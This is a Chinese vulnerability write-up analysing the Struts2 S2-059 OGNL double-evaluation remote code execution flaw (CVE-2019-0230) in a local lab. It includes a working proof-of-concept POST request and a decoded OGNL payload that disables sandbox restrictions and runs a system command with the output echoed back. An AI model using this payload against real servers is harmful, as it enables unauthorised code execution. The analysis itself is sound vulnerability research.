Struts2-059 远程代码执行漏洞(CVE-2019-0230)分析

阅读量    91024 |

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

作者:白帽汇安全研究院@hu4wufu

核对:白帽汇安全研究院@r4v3zn

前言

2020年8月13日虽然近几年来关于ONGL方面的漏洞已经不多了,但是毕竟是经典系列的RCE漏洞,还是有必要分析的。而且对于Struts2OGNL了解也有助于代码审计和漏洞挖掘。

首先了解一下什么是OGNLObject Graphic Navigation Language(对象图导航语言)的缩写,Struts框架使用OGNL作为默认的表达式语言。

struts2_S2_059S2_029漏洞产生的原理类似,都是由于标签属性值进行二次表达式解析产生的,细微差别会在分析中提到。

漏洞利用前置条件是需要特定标签的相关属性存在表达式%{payload},且payload可控并未做安全验证。这里用到的是a标签id属性。

id属性是该action的应用id

经过分析,受影响的标签有很多继承AbstractUITag类的标签都会受到影响,受影响的属性只有id

 

环境准备

测试环境:Tomcat 8.5.56JDK 1.8.0_131Struts 2.3.24

由于用Maven创建有错误没有解决,所以选用idea自带的创建struts2工程。

创建好工程后,在web/WEB-INF下新建lib文件夹,然后将下载的jar包复制进去即可。

jsp测试文件:

添加字段获取传参,并且显示到页面。

 

漏洞验证

poc1:

输入普通文本:

输入ONGL表达式%{1+4},需要url转码%25%7b%31%2b%34%7d%0a

poc2:

这里发送一个post包即可,构造思路在分析和总结中提到。

POST /s2_059/index.action HTTP/1.1
Host: localhost:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 606
Origin: http://localhost:8085
Connection: close
Referer: http://localhost:8085/s2_059_war/
Cookie: JSESSIONID=272825C954147516F847095B055202B5; JSESSIONID=01F82222F5CCED3DC9B7819AE6C98DA0
Upgrade-Insecure-Requests: 1

payload=%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D%40java.lang.Runtime%40getRuntime()%2C%23s%3Dnew%20java.util.Scanner(%23a.exec('ls%20-al').getInputStream()).useDelimiter('%5C%5C%5C%5CA')%2C%23str%3D%23s.hasNext()%3F%23s.next()%3A''%2C%23res.print(%23str)%2C%23res.close()%0A%7d

 

漏洞分析

我们首先看一下漏洞的调用栈:

不同版本的调用链可能会不一样,比如在较低的版本最终是在com.opensymphony.xwork2.util.TextParseUtil.classtranslateVariables()方法赋值。

漏洞信息:https://cwiki.apache.org/confluence/display/WW/S2-059

根据漏洞详情可知问题出现在标签解析的时候,所以我们从org.apache.struts2.views.jsp.ComponentTagSupportdoStartTag方法开始跟进,从这里开始进行jsp标签的解析。当用户发送请求的时候,doStartTag()开始执行。我们直接debug断点在解析标签的ComponentTagSupport的第一行。

this.populateParams()进行赋值,所以我们跟进populateParams(),进行初始参数值的填充。

org.apache.struts2.views.jsp.ui.AnchorTag.class中存储着所有的标签对象。

org.apache.struts2.views.jsp.ui.AbstractClosingTag.class这里是调用了父类AbstractUITagpopulateParams()方法。

继承AbstractUITag类的标签都会受到影响。当这些标签存在id属性时,会调用父类org.apache.struts2.views.jsp.ui.AbstractUITag.populateParams()方法,触发setId()方法时会解析一次OGNL表达式。

往下跟父类的populateParams()方法。

UIBean uiBean = (UIBean)this.component;
uiBean.setCssClass(this.cssClass);
uiBean.setCssStyle(this.cssStyle);
uiBean.setCssErrorClass(this.cssErrorClass);
uiBean.setCssErrorStyle(this.cssErrorStyle);
uiBean.setTitle(this.title);
uiBean.setDisabled(this.disabled);
uiBean.setLabel(this.label);
uiBean.setLabelSeparator(this.labelSeparator);
uiBean.setLabelposition(this.labelPosition);
uiBean.setRequiredposition(this.requiredposition);
uiBean.setName(this.name);
uiBean.setRequired(this.required);
uiBean.setTabindex(this.tabindex);
uiBean.setValue(this.value);
uiBean.setTemplate(this.template);
uiBean.setTheme(this.theme);
uiBean.setTemplateDir(this.templateDir);
uiBean.setOnclick(this.onclick);
uiBean.setOndblclick(this.ondblclick);
uiBean.setOnmousedown(this.onmousedown);
uiBean.setOnmouseup(this.onmouseup);
uiBean.setOnmouseover(this.onmouseover);
uiBean.setOnmousemove(this.onmousemove);
uiBean.setOnmouseout(this.onmouseout);
uiBean.setOnfocus(this.onfocus);
uiBean.setOnblur(this.onblur);
uiBean.setOnkeypress(this.onkeypress);
uiBean.setOnkeydown(this.onkeydown);
uiBean.setOnkeyup(this.onkeyup);
uiBean.setOnselect(this.onselect);
uiBean.setOnchange(this.onchange);
uiBean.setTooltip(this.tooltip);
uiBean.setTooltipConfig(this.tooltipConfig);
uiBean.setJavascriptTooltip(this.javascriptTooltip);
uiBean.setTooltipCssClass(this.tooltipCssClass);
uiBean.setTooltipDelay(this.tooltipDelay);
uiBean.setTooltipIconPath(this.tooltipIconPath);
uiBean.setAccesskey(this.accesskey);
uiBean.setKey(this.key);
uiBean.setId(this.id);
uiBean.setDynamicAttributes(this.dynamicAttributes);

跟进其他属性到org.apache.struts2.components.UIBean.class发现AbstractUITag.class所有的属性除了id都是直接赋值。

@StrutsTagAttribute(
    description = "The template directory."
)
public void setTemplateDir(String templateDir) {
    this.templateDir = templateDir;
}
...
@StrutsTagAttribute(
    description = "Icon path used for image that will have the tooltip"
)
public void setTooltipIconPath(String tooltipIconPath) {
    this.tooltipIconPath = tooltipIconPath;
}

跟进setId()方法,会有一个findString()方法,这里也就解释了为什么是id属性进行解析了。

如果id不为空,那么给id赋值用户传入的值。接着跟入findString()

跟进findValue()方法,我们来看看赋值过程。

如果altSyntax功能开启(此功能在S2-001的修复方案是将其默认关闭),altSyntax这个功能是将标签内的内容当作OGNL表达式解析,关闭了之后标签内的内容就不会当作OGNL表达式解析了。执行到TextParseUtil.translateVariables('%', expr, this.stack),然后在下面执行OGNL的表达式的解析,返回传入action的参数%{1+4},这里进行了一次表达式的解析。也就是对属性的初始化赋值操作。

translateVariables()函数传过来的open参数的值是'%',在截取的时候是截取的 open之后的字符串,并把传入stack.OgnlValueStack,这也是我们的poc构造的时候要写成%{*}形式的原因。

跟到com.opensymphony.xwork2.util.TextParseUtil.class中的translateVariables()方法。

translateVariables()方法while循环里加了一个maxLoopCount参数来限制递归解析的次数,break跳出循环(这是对S2-001的修复方案)。这里的maxLoopCount为1。

while(true) {
    int start = expression.indexOf(lookupChars, pos);
    if (start == -1) {
        ++loopCount;
        start = expression.indexOf(lookupChars);
    }

    if (loopCount > maxLoopCount) {    //设置maxLoopCount参数,break跳出循环。
        break;
    }

接着往下跟,跟进evaluate()方法。

最终在com.opensymphonny.xwork2.util:57完成第一次赋值。这里只进行了一次表达式的解析,返回给action传入的参数是%{1+4},并未解析成功表达式。

所以我们回到ComponentTagSupport.classdoStartTag()方法,再跟一下标签对象的start()方法,这里会进行id值的二次解析。

这里调用了父类ClosingUIBeanstart()方法

跟到父类org.apache.struts2.components.ClosingUIBean.class,我们看一下evaluateParams()方法。

org.apache.struts2.components.UIBean.classevaluateParams()方法中有很多属性使用findString()来获取值。

...

if (this.name != null) {
    name = this.findString(this.name);
    this.addParameter("name", name);
}

if (this.label != null) {
    this.addParameter("label", this.findString(this.label));
} else if (providedLabel != null) {
    this.addParameter("label", providedLabel);
}
...
if (this.onmouseout != null) {
    this.addParameter("onmouseout", this.findString(this.onmouseout));
}

但是除了id解析两次OGNL外,算上前面的setId()解析了一次,所以这里边的其他属性都仅解析了一次。

最终跟进populateComponentHtmlId()方法

再跟进findStringIfAltSyntax()方法。

在开启了altSyntax功能的前提下,可以看到这里对id属性再次进行了表达式的解析。

进入到findString()后,就跟前面流程一样了。这也是解释了这次漏洞是由于标签属性值进行二次表达式解析产生的。

跟进findvalue()

org.apache.struts2.components.Component.classfindStringIfAltSyntax(),与前面一样又会执行一次TextParseUtil.translateVariables()方法。

跟进com.opensymphony.xwork2.util.TextParseUtil.class:63return parser.evaluate(openChars, expression, ognlEval, maxLoopCount)

这里可以看到表达式内容已经解析执行了。

 

思考

如果表达式中的值可控,那么就有可能传入危险的表达式实现远程代码执行,但是这个漏洞利用前提条件是altSyntax功能开启且需要特定标签id属性(暂未找到其他可行属性)存在表达式%{payload}payload可控且不需要进行框架的安全校验。利用条件较为苛刻,需要结合应用程序的代码实现,所以无法进行大规模的利用。

我们知道此次S2-059与之前的S2-029S2-036类似都是OGNL表达式的二次解析而产生的漏洞,用S2-029的poc打不了S2-059搭建的环境。

S2-029的区别:S2-029是标签的name属性出现了问题,由于name属性调用了org.apache.struts2.components.Component.classcompleteExpressionIfAltSyntax()方法,会自动加上"%{}"这也就解释了S2-029payload不用加%{}的原因。

protected String completeExpressionIfAltSyntax(String expr) {
    return this.altSyntax() ? "%{" + expr + "}" : expr;
}

关于受影响标签:

继承AbstractUITag类的标签都会受到影响。当这些标签存在id属性时,会调用父类AbstractUITag.populateParams()方法,触发setId()解析一次OGNL表达式。比如label标签(同样输入表达式%{1+4})。

这里可以看到LabelTag.class继承了AbstractUITag.class

关于版本问题:

官方说明影响范围是Apache Struts 2.0.0 – 2.5.20,这里测试了2.1.1和2.3.24版本。

不同的版本对于沙盒的绕过不同,所用的到的poc绕过也就有出入,再高版本2.5.16之后的沙盒目前没有公开绕过方法。我测试了稍低版本Struts 2.2.1与稍高版本Struts 2.3.24,均可以控制输入值。

关于回显:

%{#_memberAccess.allowPrivateAccess=true,#_memberAccess.allowStaticMethodAccess=true,#_memberAccess.excludedClasses=#_memberAccess.acceptProperties,#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties,#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#a=@java.lang.Runtime@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()
}

OgnlContext_memberAccess变量进行了访问控制限制,决定了用哪些类,哪些包,哪些方法可以被OGNL表达式所使用。

所以其中poc中需要设置#_memberAccess.allowPrivateAccess=true用来授权访问private方法,#_memberAccess.allowStaticMethodAccess=true用来授权允许调用静态方法,

#_memberAccess.excludedClasses=#_memberAccess.acceptProperties用来将受限的类名设置为空

#_memberAccess.excludedPackageNamePatterns=#_memberAccess.acceptProperties用来将受限的包名设置为空

#res=@org.apache.struts2.ServletActionContext@getResponse().getWriter()返回HttpServletResponse实例获取respons对象并回显。

#a=@java.lang.Runtime@getRuntime(),#s=new java.util.Scanner(#a.exec('ls -al').getInputStream()).useDelimiter('\\\\A'),#str=#s.hasNext()?#s.next():'',#res.print(#str),#res.close()执行系统命令,使用java.util.Scanner一个文本扫描器,执行命令ls -al,将目录下的内容回显出来。

至于为什么加%{},在之前的分析中已经提及。

 

参考

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多